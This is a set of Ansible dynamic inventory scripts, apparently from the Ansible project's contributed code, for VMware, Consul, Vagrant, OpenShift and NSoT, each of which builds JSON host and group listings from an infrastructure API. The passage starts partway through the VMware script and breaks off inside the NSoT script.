                #     context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
            #     AttributeError: 'module' object has no attribute 'SSLContext'
            # older pyvmomi version also do not have an sslcontext kwarg:
            # https://github.com/vmware/pyvmomi/commit/92c1de5056be7c5390ac2a28eb08ad939a4b7cdd
            context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
            context.verify_mode = ssl.CERT_NONE
            kwargs['sslContext'] = context

        instances = self._get_instances(kwargs)
        return instances


    def _get_instances(self, inkwargs):

        ''' Make API calls '''

        instances = []
        si = SmartConnect(**inkwargs)

        self.debugl('# retrieving instances')            
        if not si:
            print("Could not connect to the specified host using specified "
                "username and password")
            return -1
        atexit.register(Disconnect, si)
        content = si.RetrieveContent()

        # Create a search container for virtualmachines
        container = content.rootFolder
        viewType = [vim.VirtualMachine]
        recursive = True
        containerView = content.viewManager.CreateContainerView(container, viewType, recursive)
        children = containerView.view
        for child in children:
            # If requested, limit the total number of instances
            if self.args.max_instances:
                if len(instances) >= (self.args.max_instances):
                    break
            instances.append(child)
        self.debugl("# total instances retrieved %s" % len(instances))

        instance_tuples = []    
        for instance in sorted(instances):    
            ifacts = self.facts_from_vobj(instance)
            instance_tuples.append((instance, ifacts))
        return instance_tuples


    def instances_to_inventory(self, instances):

        ''' Convert a list of vm objects into a json compliant inventory '''

        inventory = self._empty_inventory()
        inventory['all'] = {}
        inventory['all']['hosts'] = []
        last_idata = None
        total = len(instances)
        for idx,instance in enumerate(instances):
    
            # make a unique id for this object to avoid vmware's
            # numerous uuid's which aren't all unique.
            thisid = str(uuid.uuid4())
            idata = instance[1]

            # Put it in the inventory
            inventory['all']['hosts'].append(thisid)
            inventory['_meta']['hostvars'][thisid] = idata.copy()
            inventory['_meta']['hostvars'][thisid]['ansible_uuid'] = thisid

        # Make a map of the uuid to the alias the user wants
        name_mapping = self.create_template_mapping(inventory, 
                            self.config.get('vmware', 'alias_pattern'))

        # Make a map of the uuid to the ssh hostname the user wants
        host_mapping = self.create_template_mapping(inventory,
                            self.config.get('vmware', 'host_pattern'))


        # Reset the inventory keys
        for k,v in name_mapping.iteritems():

            if not host_mapping or not k in host_mapping:
                continue

            # set ansible_host (2.x)
            try:
                inventory['_meta']['hostvars'][k]['ansible_host'] = host_mapping[k]
                # 1.9.x backwards compliance
                inventory['_meta']['hostvars'][k]['ansible_ssh_host'] = host_mapping[k]
            except Exception as e:
                continue

            if k == v:
                continue

            # add new key
            inventory['all']['hosts'].append(v)
            inventory['_meta']['hostvars'][v] = inventory['_meta']['hostvars'][k]

            # cleanup old key
            inventory['all']['hosts'].remove(k)
            inventory['_meta']['hostvars'].pop(k, None)

        self.debugl('# pre-filtered hosts:')
        for i in inventory['all']['hosts']:
            self.debugl('#   * %s' % i)
        # Apply host filters
        for hf in self.host_filters:
            if not hf:
                continue
            self.debugl('# filter: %s' % hf)
            filter_map = self.create_template_mapping(inventory, hf, dtype='boolean')
            for k,v in filter_map.iteritems():
                if not v:
                    # delete this host
                    inventory['all']['hosts'].remove(k)
                    inventory['_meta']['hostvars'].pop(k, None)

        self.debugl('# post-filter hosts:')
        for i in inventory['all']['hosts']:
            self.debugl('#   * %s' % i)

        # Create groups
        for gbp in self.groupby_patterns:
            groupby_map = self.create_template_mapping(inventory, gbp)
            for k,v in groupby_map.iteritems():
                if v not in inventory:
                    inventory[v] = {}
                    inventory[v]['hosts'] = []
                if k not in inventory[v]['hosts']:
                    inventory[v]['hosts'].append(k)    

        return inventory


    def create_template_mapping(self, inventory, pattern, dtype='string'):

        ''' Return a hash of uuid to templated string from pattern '''

        mapping = {}
        for k,v in inventory['_meta']['hostvars'].iteritems():
            t = jinja2.Template(pattern)
            newkey = None
            try:           
                newkey = t.render(v)
                newkey = newkey.strip()
            except Exception as e:
                self.debugl(e)
            if not newkey:
                continue
            elif dtype == 'integer':
                newkey = int(newkey)
            elif dtype == 'boolean':
                if newkey.lower() == 'false':
                    newkey = False
                elif newkey.lower() == 'true':
                    newkey = True    
            elif dtype == 'string':
                pass        
            mapping[k] = newkey
        return mapping


    def facts_from_vobj(self, vobj, level=0):

        ''' Traverse a VM object and return a json compliant data structure '''

        # pyvmomi objects are not yet serializable, but may be one day ...
        # https://github.com/vmware/pyvmomi/issues/21

        # WARNING:
        # Accessing an object attribute will trigger a SOAP call to the remote.
        # Increasing the attributes collected or the depth of recursion greatly
        # increases runtime duration and potentially memory+network utilization.

        if level == 0:
            try:
                self.debugl("# get facts: %s" % vobj.name)
            except Exception as e:
                self.debugl(e)

        rdata = {}

        methods = dir(vobj)
        methods = [str(x) for x in methods if not x.startswith('_')]
        methods = [x for x in methods if not x in self.bad_types]
        methods = sorted(methods)

        for method in methods:
            # Attempt to get the method, skip on fail
            try:
                methodToCall = getattr(vobj, method)
            except Exception as e:
                continue
            # Skip callable methods
            if callable(methodToCall):
                continue
            if self.lowerkeys:
                method = method.lower()
            rdata[method] = self._process_object_types(methodToCall)

        return rdata


    def _process_object_types(self, vobj, level=0):
        ''' Serialize an object '''
        rdata = {}

        if vobj is None:
            rdata = None
        elif issubclass(type(vobj), str) or isinstance(vobj, str):
            rdata = vobj
        elif issubclass(type(vobj), bool) or isinstance(vobj, bool):
            rdata = vobj
        elif issubclass(type(vobj), int) or isinstance(vobj, int):
            rdata = vobj
        elif issubclass(type(vobj), float) or isinstance(vobj, float):
            rdata = vobj
        elif issubclass(type(vobj), long) or isinstance(vobj, long):
            rdata = vobj
        elif issubclass(type(vobj), list) or issubclass(type(vobj), tuple):
            rdata = []
            try:
                vobj = sorted(vobj)
            except Exception as e:
                pass
            for vi in vobj:
                if (level+1 <= self.maxlevel):
                    #vid = self.facts_from_vobj(vi, level=(level+1))
                    vid = self._process_object_types(vi, level=(level+1))
                    if vid:
                        rdata.append(vid)
        elif issubclass(type(vobj), dict):
            pass
        elif issubclass(type(vobj), object):
            methods = dir(vobj)
            methods = [str(x) for x in methods if not x.startswith('_')]
            methods = [x for x in methods if not x in self.bad_types]
            methods = sorted(methods)

            for method in methods:
                # Attempt to get the method, skip on fail
                try:
                    methodToCall = getattr(vobj, method)
                except Exception as e:
                    continue
                if callable(methodToCall):
                    continue
                if self.lowerkeys:
                    method = method.lower()
                if (level+1 <= self.maxlevel):
                    rdata[method] = self._process_object_types(methodToCall, level=(level+1))
        else:
            pass

        if not rdata:
            rdata = None
        return rdata

    def get_host_info(self, host):
        
        ''' Return hostvars for a single host '''

        return self.inventory['_meta']['hostvars'][host]


if __name__ == "__main__":
    # Run the script
    print(VMWareInventory().show())








#!/usr/bin/env python

#
# (c) 2015, Steve Gargan <steve.gargan@gmail.com>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

######################################################################

'''
Consul.io inventory script (http://consul.io)
======================================

Generates Ansible inventory from nodes in a Consul cluster. This script will
group nodes by:
 - datacenter,
 - registered service
 - service tags
 - service status
 - values from the k/v store

This script can be run with the switches
--list as expected groups all the nodes in all datacenters
--datacenter, to restrict the nodes to a single datacenter
--host to restrict the inventory to a single named node. (requires datacenter config)

The configuration for this plugin is read from a consul.ini file located in the
same directory as this inventory script. All config options in the config file
are optional except the host and port, which must point to a valid agent or
server running the http api. For more information on enabling the endpoint see.

http://www.consul.io/docs/agent/options.html

Other options include:

'datacenter':

which restricts the included nodes to those from the given datacenter

'domain':

if specified then the inventory will generate domain names that will resolve
via Consul's inbuilt DNS. The name is derived from the node name, datacenter
and domain <node_name>.node.<datacenter>.<domain>. Note that you will need to
have consul hooked into your DNS server for these to resolve. See the consul
DNS docs for more info.

which restricts the included nodes to those from the given datacenter

'servers_suffix':

defining the a suffix to add to the service name when creating the service
group. e.g Service name of 'redis' and a suffix of '_servers' will add
each nodes address to the group name 'redis_servers'. No suffix is added
if this is not set

'tags':

boolean flag defining if service tags should be used to create Inventory
groups e.g. an nginx service with the tags ['master', 'v1'] will create
groups nginx_master and nginx_v1 to which the node running the service
will be added. No tag groups are created if this is missing.

'token':

ACL token to use to authorize access to the key value store. May be required
to retrieve the kv_groups and kv_metadata based on your consul configuration.

'kv_groups':

This is used to lookup groups for a node in the key value store. It specifies a
path to which each discovered node's name will be added to create a key to query
the key/value store. There it expects to find a comma separated list of group
names to which the node should be added e.g. if the inventory contains node
'nyc-web-1' in datacenter 'nyc-dc1' and kv_groups = 'ansible/groups' then the key
'ansible/groups/nyc-dc1/nyc-web-1' will be queried for a group list. If this query
 returned 'test,honeypot' then the node address to both groups.

'kv_metadata':

kv_metadata is used to lookup metadata for each discovered node. Like kv_groups
above it is used to build a path to lookup in the kv store where it expects to
find a json dictionary of metadata entries. If found, each key/value pair in the
dictionary is added to the metadata for the node. eg node 'nyc-web-1' in datacenter
'nyc-dc1' and kv_metadata = 'ansible/metadata', then the key 
'ansible/groups/nyc-dc1/nyc-web-1' should contain '{"databse": "postgres"}'

'availability':

if true then availability groups will be created for each service. The node will
be added to one of the groups based on the health status of the service. The
group name is derived from the service name and the configurable availability
suffixes

'available_suffix':

suffix that should be appended to the service availability groups for available
services e.g. if the suffix is '_up' and the service is nginx, then nodes with
healthy nginx services will be added to the nginix_up group. Defaults to
'_available'

'unavailable_suffix':

as above but for unhealthy services, defaults to '_unavailable'

Note that if the inventory discovers an 'ssh' service running on a node it will
register the port as ansible_ssh_port in the node's metadata and this port will
be used to access the machine.
```

'''

import os
import re
import argparse
import sys
from time import time
import sys
import ConfigParser
import urllib, urllib2, base64


def get_log_filename():
    tty_filename = '/dev/tty'
    stdout_filename = '/dev/stdout'

    if not os.path.exists(tty_filename):
        return stdout_filename
    if not os.access(tty_filename, os.W_OK):
        return stdout_filename
    if os.getenv('TEAMCITY_VERSION'):
        return stdout_filename

    return tty_filename


def setup_logging():
    filename = get_log_filename()

    import logging.config
    logging.config.dictConfig({
        'version': 1,
        'formatters': {
            'simple': {
                'format': '%(asctime)s - %(name)s - %(levelname)s - %(message)s',
            },
        },
        'root': {
            'level': os.getenv('ANSIBLE_INVENTORY_CONSUL_IO_LOG_LEVEL', 'WARN'),
            'handlers': ['console'],
        },
        'handlers': {
            'console': {
                'class': 'logging.FileHandler',
                'filename': filename,
                'formatter': 'simple',
            },
        },
        'loggers': {
            'iso8601': {
                'qualname': 'iso8601',
                'level': 'INFO',
            },
        },
    })
    logger = logging.getLogger('consul_io.py')
    logger.debug('Invoked with %r', sys.argv)


if os.getenv('ANSIBLE_INVENTORY_CONSUL_IO_LOG_ENABLED'):
    setup_logging()


try:
  import json
except ImportError:
  import simplejson as json

try:
  import consul
except ImportError as e:
  sys.exit("""failed=True msg='python-consul required for this module.
See http://python-consul.readthedocs.org/en/latest/#installation'""")

from six import iteritems


class ConsulInventory(object):

  def __init__(self):
    ''' Create an inventory based on the catalog of nodes and services
    registered in a consul cluster'''
    self.node_metadata = {}
    self.nodes = {}
    self.nodes_by_service = {}
    self.nodes_by_tag = {}
    self.nodes_by_datacenter = {}
    self.nodes_by_kv = {}
    self.nodes_by_availability = {}
    self.current_dc = None

    config = ConsulConfig()
    self.config = config

    self.consul_api = config.get_consul_api()

    if config.has_config('datacenter'):
      if config.has_config('host'):
        self.load_data_for_node(config.host, config.datacenter)
      else:
        self.load_data_for_datacenter(config.datacenter)
    else:
      self.load_all_data_consul()

    self.combine_all_results()
    print(json.dumps(self.inventory, sort_keys=True, indent=2))

  def load_all_data_consul(self):
    ''' cycle through each of the datacenters in the consul catalog and process
        the nodes in each '''
    self.datacenters = self.consul_api.catalog.datacenters()
    for datacenter in self.datacenters:
      self.current_dc = datacenter
      self.load_data_for_datacenter(datacenter)


  def load_availability_groups(self, node, datacenter):
    '''check the health of each service on a node and add add the node to either
    an 'available' or 'unavailable' grouping. The suffix for each group can be
    controlled from the config'''
    if self.config.has_config('availability'):
      for service_name, service in iteritems(node['Services']):
        for node in self.consul_api.health.service(service_name)[1]:
            for check in node['Checks']:
                if check['ServiceName'] == service_name:
                      ok = 'passing' == check['Status']
                      if ok:
                        suffix = self.config.get_availability_suffix(
                                    'available_suffix', '_available')
                      else:
                        suffix = self.config.get_availability_suffix(
                                    'unavailable_suffix', '_unavailable')
                      self.add_node_to_map(self.nodes_by_availability,
                                            service_name + suffix, node['Node'])


  def load_data_for_datacenter(self, datacenter):
    '''processes all the nodes in a particular datacenter'''
    index, nodes = self.consul_api.catalog.nodes(dc=datacenter)
    for node in nodes:
      self.add_node_to_map(self.nodes_by_datacenter, datacenter, node)
      self.load_data_for_node(node['Node'], datacenter)

  def load_data_for_node(self, node, datacenter):
    '''loads the data for a sinle node adding it to various groups based on
    metadata retrieved from the kv store and service availability'''

    index, node_data = self.consul_api.catalog.node(node, dc=datacenter)
    node = node_data['Node']
    self.add_node_to_map(self.nodes, 'all', node)
    self.add_metadata(node_data, "consul_datacenter", datacenter)
    self.add_metadata(node_data, "consul_nodename", node['Node'])

    self.load_groups_from_kv(node_data)
    self.load_node_metadata_from_kv(node_data)
    self.load_availability_groups(node_data, datacenter)

    for name, service in node_data['Services'].items():
      self.load_data_from_service(name, service, node_data)

  def load_node_metadata_from_kv(self, node_data):
    ''' load the json dict at the metadata path defined by the kv_metadata value
        and the node name add each entry in the dictionary to the the node's
        metadata '''
    node = node_data['Node']
    if  self.config.has_config('kv_metadata'):
      key = "%s/%s/%s" % (self.config.kv_metadata, self.current_dc, node['Node'])
      index, metadata = self.consul_api.kv.get(key)
      if metadata and metadata['Value']:
        try:
            metadata = json.loads(metadata['Value'])
            for k,v in metadata.items():
              self.add_metadata(node_data, k, v)
        except:
            pass

  def load_groups_from_kv(self, node_data):
    ''' load the comma separated list of groups at the path defined by the
        kv_groups config value and the node name add the node address to each
        group found '''
    node = node_data['Node']
    if  self.config.has_config('kv_groups'):
      key = "%s/%s/%s" % (self.config.kv_groups, self.current_dc, node['Node'])
      index, groups = self.consul_api.kv.get(key)
      if groups and groups['Value']:
        for group in groups['Value'].split(','):
          self.add_node_to_map(self.nodes_by_kv, group.strip(), node)

  def load_data_from_service(self, service_name, service, node_data):
    '''process a service registered on a node, adding the node to a group with
    the service name. Each service tag is extracted and the node is added to a
    tag grouping also'''
    self.add_metadata(node_data, "consul_services", service_name, True)

    if self.is_service("ssh", service_name):
      self.add_metadata(node_data, "ansible_ssh_port", service['Port'])

    if self.config.has_config('servers_suffix'):
      service_name = service_name + self.config.servers_suffix

    self.add_node_to_map(self.nodes_by_service, service_name, node_data['Node'])
    self.extract_groups_from_tags(service_name, service, node_data)

  def is_service(self, target, name):
    return name and (name.lower() == target.lower())

  def extract_groups_from_tags(self, service_name, service, node_data):
    '''iterates each service tag and adds the node to groups derived from the
    service and tag names e.g. nginx_master'''
    if self.config.has_config('tags') and service['Tags']:
      tags = service['Tags']
      self.add_metadata(node_data, "consul_%s_tags" % service_name, tags)
      for tag in service['Tags']:
        tagname = service_name +'_'+tag
        self.add_node_to_map(self.nodes_by_tag, tagname, node_data['Node'])

  def combine_all_results(self):
    '''prunes and sorts all groupings for combination into the final map'''
    self.inventory = {"_meta": { "hostvars" : self.node_metadata}}
    groupings = [self.nodes, self.nodes_by_datacenter, self.nodes_by_service,
                self.nodes_by_tag, self.nodes_by_kv, self.nodes_by_availability]
    for grouping in groupings:
      for name, addresses in grouping.items():
        self.inventory[name] = sorted(list(set(addresses)))

  def add_metadata(self, node_data, key, value, is_list = False):
    ''' Pushed an element onto a metadata dict for the node, creating
        the dict if it doesn't exist '''
    key = self.to_safe(key)
    node = self.get_inventory_name(node_data['Node'])

    if node in self.node_metadata:
      metadata = self.node_metadata[node]
    else:
      metadata = {}
      self.node_metadata[node] = metadata
    if is_list:
      self.push(metadata, key, value)
    else:
      metadata[key] = value

  def get_inventory_name(self, node_data):
      '''return the ip or a node name that can be looked up in consul's dns'''
      domain = self.config.domain
      if domain:
          node_name = node_data['Node']
          if self.current_dc:
              return '%s.node.%s.%s' % ( node_name, self.current_dc, domain)
          else:
              return '%s.node.%s' % ( node_name, domain)
      else:
          return node_data['Address']

  def add_node_to_map(self, map, name, node):
      self.push(map, name, self.get_inventory_name(node))


  def push(self, my_dict, key, element):
    ''' Pushed an element onto an array that may not have been defined in the
        dict '''
    key = self.to_safe(key)
    if key in my_dict:
      my_dict[key].append(element)
    else:
      my_dict[key] = [element]

  def to_safe(self, word):
    ''' Converts 'bad' characters in a string to underscores so they can be used
     as Ansible groups '''
    return re.sub('[^A-Za-z0-9\-\.]', '_', word)

  def sanitize_dict(self, d):

    new_dict = {}
    for k, v in d.items():
      if v != None:
        new_dict[self.to_safe(str(k))] = self.to_safe(str(v))
    return new_dict

  def sanitize_list(self, seq):
    new_seq = []
    for d in seq:
      new_seq.append(self.sanitize_dict(d))
    return new_seq


class ConsulConfig(dict):

  def __init__(self):
    self.read_settings()
    self.read_cli_args()

  def has_config(self, name):
    if hasattr(self, name):
      return getattr(self, name)
    else:
      return False

  def read_settings(self):
    ''' Reads the settings from the consul.ini file '''
    config = ConfigParser.SafeConfigParser()
    config.read(os.path.dirname(os.path.realpath(__file__)) + '/consul.ini')

    config_options = ['host', 'token', 'datacenter', 'servers_suffix',
                      'tags', 'kv_metadata', 'kv_groups', 'availability',
                      'unavailable_suffix', 'available_suffix', 'url',
                      'domain']
    for option in config_options:
      value = None
      if config.has_option('consul', option):
          value = config.get('consul', option)
      setattr(self, option, value)

  def read_cli_args(self):
    ''' Command line argument processing '''
    parser = argparse.ArgumentParser(description=
        'Produce an Ansible Inventory file based nodes in a Consul cluster')

    parser.add_argument('--list', action='store_true',
        help='Get all inventory variables from all nodes in the consul cluster')
    parser.add_argument('--host', action='store',
        help='Get all inventory variables about a specific consul node, \
              requires datacenter set in consul.ini.')
    parser.add_argument('--datacenter', action='store',
        help='Get all inventory about a specific consul datacenter')

    args = parser.parse_args()
    arg_names = ['host', 'datacenter']

    for arg in arg_names:
      if getattr(args, arg):
        setattr(self, arg, getattr(args, arg))

  def get_availability_suffix(self, suffix, default):
      if self.has_config(suffix):
        return self.has_config(suffix)
      return default


  def get_consul_api(self):
      '''get an instance of the api based on the supplied configuration'''
      host = 'localhost'
      port =  8500
      token = None

      if hasattr(self, 'url'):
          from urlparse import urlparse
          o = urlparse(self.url)
          if o.hostname:
              host = o.hostname
          if o.port:
              port = o.port

      if hasattr(self, 'token'):
          token = self.token
          if not token:
              token = 'anonymous'
      return consul.Consul(host=host, port=port, token=token)

ConsulInventory()






#!/usr/bin/env python
"""
Vagrant external inventory script. Automatically finds the IP of the booted vagrant vm(s), and
returns it under the host group 'vagrant'

Example Vagrant configuration using this script:

    config.vm.provision :ansible do |ansible|
      ansible.playbook = "./provision/your_playbook.yml"
      ansible.inventory_file = "./provision/inventory/vagrant.py"
      ansible.verbose = true
    end
"""

# Copyright (C) 2013  Mark Mandel <mark@compoundtheory.com>
#               2015  Igor Khomyakov <homyakov@gmail.com>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

#
# Thanks to the spacewalk.py inventory script for giving me the basic structure
# of this.
#

import sys
import os.path
import subprocess
import re
from paramiko import SSHConfig
from cStringIO import StringIO
from optparse import OptionParser
from collections import defaultdict
try:
    import json
except:
    import simplejson as json

_group = 'vagrant'  # a default group
_ssh_to_ansible = [('user', 'ansible_ssh_user'),
                   ('hostname', 'ansible_ssh_host'),
                   ('identityfile', 'ansible_ssh_private_key_file'),
                   ('port', 'ansible_ssh_port')]

# Options
# ------------------------------

parser = OptionParser(usage="%prog [options] --list | --host <machine>")
parser.add_option('--list', default=False, dest="list", action="store_true",
                  help="Produce a JSON consumable grouping of Vagrant servers for Ansible")
parser.add_option('--host', default=None, dest="host",
                  help="Generate additional host specific details for given host for Ansible")
(options, args) = parser.parse_args()

#
# helper functions
#


# get all the ssh configs for all boxes in an array of dictionaries.
def get_ssh_config():
    return {k: get_a_ssh_config(k) for k in list_running_boxes()}


# list all the running boxes
def list_running_boxes():
    output = subprocess.check_output(["vagrant", "status"]).split('\n')

    boxes = []

    for line in output:
        matcher = re.search("([^\s]+)[\s]+running \(.+", line)
        if matcher:
            boxes.append(matcher.group(1))

    return boxes


# get the ssh config for a single box
def get_a_ssh_config(box_name):
    """Gives back a map of all the machine's ssh configurations"""

    output = subprocess.check_output(["vagrant", "ssh-config", box_name])
    config = SSHConfig()
    config.parse(StringIO(output))
    host_config = config.lookup(box_name)

    # man 5 ssh_config:
    # > It is possible to have multiple identity files ...
    # > all these identities will be tried in sequence.
    for id in host_config['identityfile']:
        if os.path.isfile(id):
            host_config['identityfile'] = id

    return {v: host_config[k] for k, v in _ssh_to_ansible}

# List out servers that vagrant has running
# ------------------------------
if options.list:
    ssh_config = get_ssh_config()
    meta = defaultdict(dict)

    for host in ssh_config:
        meta['hostvars'][host] = ssh_config[host]

    print(json.dumps({_group: list(ssh_config.keys()), '_meta': meta}))
    sys.exit(0)

# Get out the host details
# ------------------------------
elif options.host:
    print(json.dumps(get_a_ssh_config(options.host)))
    sys.exit(0)

# Print out help
# ------------------------------
else:
    parser.print_help()
    sys.exit(0)






#!/usr/bin/env python

# (c) 2013, Michael Scherer <misc@zarb.org>
#
# This file is part of Ansible,
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

DOCUMENTATION = '''
---
inventory: openshift
short_description: Openshift gears external inventory script
description:
  - Generates inventory of Openshift gears using the REST interface
  - this permit to reuse playbook to setup an Openshift gear
version_added: None
author: Michael Scherer
'''

try:
    import json
except ImportError:
    import simplejson as json
import os
import os.path
import sys
import ConfigParser
import StringIO

from ansible.module_utils.urls import open_url

configparser = None


def get_from_rhc_config(variable):
    global configparser
    CONF_FILE = os.path.expanduser('~/.openshift/express.conf')
    if os.path.exists(CONF_FILE):
        if not configparser:
            ini_str = '[root]\n' + open(CONF_FILE, 'r').read()
            configparser = ConfigParser.SafeConfigParser()
            configparser.readfp(StringIO.StringIO(ini_str))
        try:
            return configparser.get('root', variable)
        except ConfigParser.NoOptionError:
            return None


def get_config(env_var, config_var):
    result = os.getenv(env_var)
    if not result:
        result = get_from_rhc_config(config_var)
    if not result:
        sys.exit("failed=True msg='missing %s'" % env_var)
    return result


def get_json_from_api(url, username, password):
    headers = {'Accept': 'application/json; version=1.5'}
    response = open_url(url, headers=headers, url_username=username, url_password=password)
    return json.loads(response.read())['data']


username = get_config('ANSIBLE_OPENSHIFT_USERNAME', 'default_rhlogin')
password = get_config('ANSIBLE_OPENSHIFT_PASSWORD', 'password')
broker_url = 'https://%s/broker/rest/' % get_config('ANSIBLE_OPENSHIFT_BROKER', 'libra_server')


response = get_json_from_api(broker_url + '/domains', username, password)

response = get_json_from_api("%s/domains/%s/applications" %
                             (broker_url, response[0]['id']), username, password)

result = {}
for app in response:

    # ssh://520311404832ce3e570000ff@blog-johndoe.example.org
    (user, host) = app['ssh_url'][6:].split('@')
    app_name = host.split('-')[0]

    result[app_name] = {}
    result[app_name]['hosts'] = []
    result[app_name]['hosts'].append(host)
    result[app_name]['vars'] = {}
    result[app_name]['vars']['ansible_ssh_user'] = user

if len(sys.argv) == 2 and sys.argv[1] == '--list':
    print(json.dumps(result))
elif len(sys.argv) == 3 and sys.argv[1] == '--host':
    print(json.dumps({}))
else:
    print("Need an argument, either --list or --host <host>")






#!/bin/env python

'''
nsot
====

Ansible Dynamic Inventory to pull hosts from NSoT, a flexible CMDB by Dropbox

Features
--------

* Define host groups in form of NSoT device attribute criteria

* All parameters defined by the spec as of 2015-09-05 are supported.

  + ``--list``: Returns JSON hash of host groups -> hosts and top-level
    ``_meta`` -> ``hostvars`` which correspond to all device attributes.

    Group vars can be specified in the YAML configuration, noted below.

  + ``--host <hostname>``: Returns JSON hash where every item is a device
    attribute.

* In addition to all attributes assigned to resource being returned, script
  will also append ``site_id`` and ``id`` as facts to utilize.


Confguration
------------

Since it'd be annoying and failure prone to guess where you're configuration
file is, use ``NSOT_INVENTORY_CONFIG`` to specify the path to it.

This file should adhere to the YAML spec. All top-level variable must be
desired Ansible group-name hashed with single 'query' item to define the NSoT
attribute query.

Queries follow the normal NSoT query syntax, `shown here`_

.. _shown here: https://github.com/dropbox/pynsot#set-queries

.. code:: yaml

   routers:
     query: 'deviceType=ROUTER'
     vars:
       a: b
       c: d

   juniper_fw:
     query: 'deviceType=FIREWALL manufacturer=JUNIPER'

   not_f10:
     query: '-manufacturer=FORCE10'

The inventory will automatically use your ``.pynsotrc`` like normal pynsot from
cli would, so make sure that's configured appropriately.

.. note::

    Attributes I'm showing above are influenced from ones that the Trigger
    project likes. As is the spirit of NSoT, use whichever attributes work best
    for your workflow.

If config file is blank or absent, the following default groups will be
created:

* ``routers``: deviceType=ROUTER
* ``switches``: deviceType=SWITCH
* ``firewalls``: deviceType=FIREWALL

These are likely not useful for everyone so please use the configuration. :)

.. note::

    By default, resources will only be returned for what your default
    site is set for in your ``~/.pynsotrc``.

    If you want to specify, add an extra key under the group for ``site: n``.

Output Examples
---------------

Here are some examples shown from just calling the command directly::

   $ NSOT_INVENTORY_CONFIG=$PWD/test.yaml ansible_nsot --list | jq '.'
   {
     "routers": {
       "hosts": [
         "test1.example.com"
       ],
       "vars": {
         "cool_level": "very",
         "group": "routers"
       }
     },
     "firewalls": {
       "hosts": [
         "test2.example.com"
       ],
       "vars": {
         "cool_level": "enough",
         "group": "firewalls"
       }
     },
     "_meta": {
       "hostvars": {
         "test2.example.com": {
           "make": "SRX",
           "site_id": 1,
           "id": 108
         },
         "test1.example.com": {
           "make": "MX80",
           "site_id": 1,
           "id": 107
         }
       }
     },
     "rtr_and_fw": {
       "hosts": [
         "test1.example.com",
         "test2.example.com"
       ],
       "vars": {}
     }
   }


   $ NSOT_INVENTORY_CONFIG=$PWD/test.yaml ansible_nsot --host test1 | jq '.'
   {
      "make": "MX80",
      "site_id": 1,
      "id": 107
   }

'''

from __future__ import print_function
import sys
import os
import pkg_resources
import argparse
import json
import yaml
from textwrap import dedent
from pynsot.client import get_api_client
from pynsot.app import HttpServerError
from click.exceptions import UsageError

from six import string_types

def warning(*objs):
        print("WARNING: ", *objs, file=sys.stderr)


class NSoTInventory(object):
    '''NSoT Client object for gather inventory'''

    def __init__(self):
        self.config = dict()
        config_env = os.environ.get('NSOT_INVENTORY_CONFIG')
        if config_env:
            try:
                config_file = os.path.abspath(config_env)
            except IOError:  # If file non-existent, use default config
                self._config_default()
            except Exception as e:
                sys.exit('%s\n' % e)

            with open(config_file) as f:
                try:
                    self.config.update(yaml.safe_load(f))
                except TypeError:  # If empty file, use default config
                    warning('Empty config file')
                    self._config_default()
                except Exception as e:
                    sys.exit('%s\n' % e)
        else:  # Use defaults if env var missing
            self._config_default()
        self.groups = self.config.keys()
        self.client = get_api_client()
        self._meta = {'hostvars': dict()}

    def _config_default(self):
        default_yaml = '''
        ---
        routers:
          query: deviceType=ROUTER
        switches:
          query: deviceType=SWITCH
        firewalls:
          query: deviceType=FIREWALL
        '''
        self.config = yaml.safe_load(dedent(default_yaml))

    def do_list(self):
        '''Direct callback for when ``--list`` is provided

        Relies on the configuration generated from init to run
        _inventory_group()
        '''
        inventory = dict()
        for group, contents in self.config.iteritems():
            group_response = self._inventory_group(group, contents)
            inventory.update(group_response)
        inventory.update({'_meta': self._meta})
        return json.dumps(inventory)

    def do_host(self, host):
        return json.dumps(self._hostvars(host))

    def _hostvars(self, host):
        '''Return dictionary of all device attributes

        Depending on number of devices in NSoT, could be rather slow since this
        has to request every device resource to filter through
        '''
        device = [i for i in self.client.devices.get()['data']['devices']
                  if host in i['hostname']][0]
        attributes = device['attributes']
        attributes.update({'site_id': device['site_id'], 'id': device['id']})
        return attributes

    def _inventory_group(self, group, contents):
        '''Takes a group and returns inventory for it as dict

        :param group: Group name
        :type group: str
        :param contents: The contents of the group's YAML config
        :type contents: dict

        contents param should look like::

            {
              'query': 'xx',
              'vars':
                  'a': 'b'
            }

        Will return something like::

            { group: {
                hosts: [],
                vars: {},
            }
        '''
        query = contents.get('query')
        hostvars = contents.get('vars', dict())
        site = contents.get('site', dict())
        obj = {group: dict()}
        obj[group]['hosts'] = []
        obj[group]['vars'] = hostvars
        try:
            assert isinstance(query, string_types)
        except:
            sys.exit('ERR: Group queries must be a single string\n'
                     '  Group: %s\n'
                     '  Query: %s\n' % (group, query)
                     )
        try:
            if site:
                site = self.client.sites(site)
                devices = site.devices.query.get(query=query)
            else:
                devices = self.client.devices.query.get(query=query)
        except HttpServerError as e:
            if '500' in str(e.response):
                _site = 'Correct site id?'
                _attr = 'Queried attributes actually exist?'
                questions = _site + '\n' + _attr
                sys.exit('ERR: 500 from server.\n%s' % questions)
            else:
                raise
        except UsageError:
            sys.exit('ERR: Could not connect to server. Running?')

        # Would do a list comprehension here, but would like to save code/time
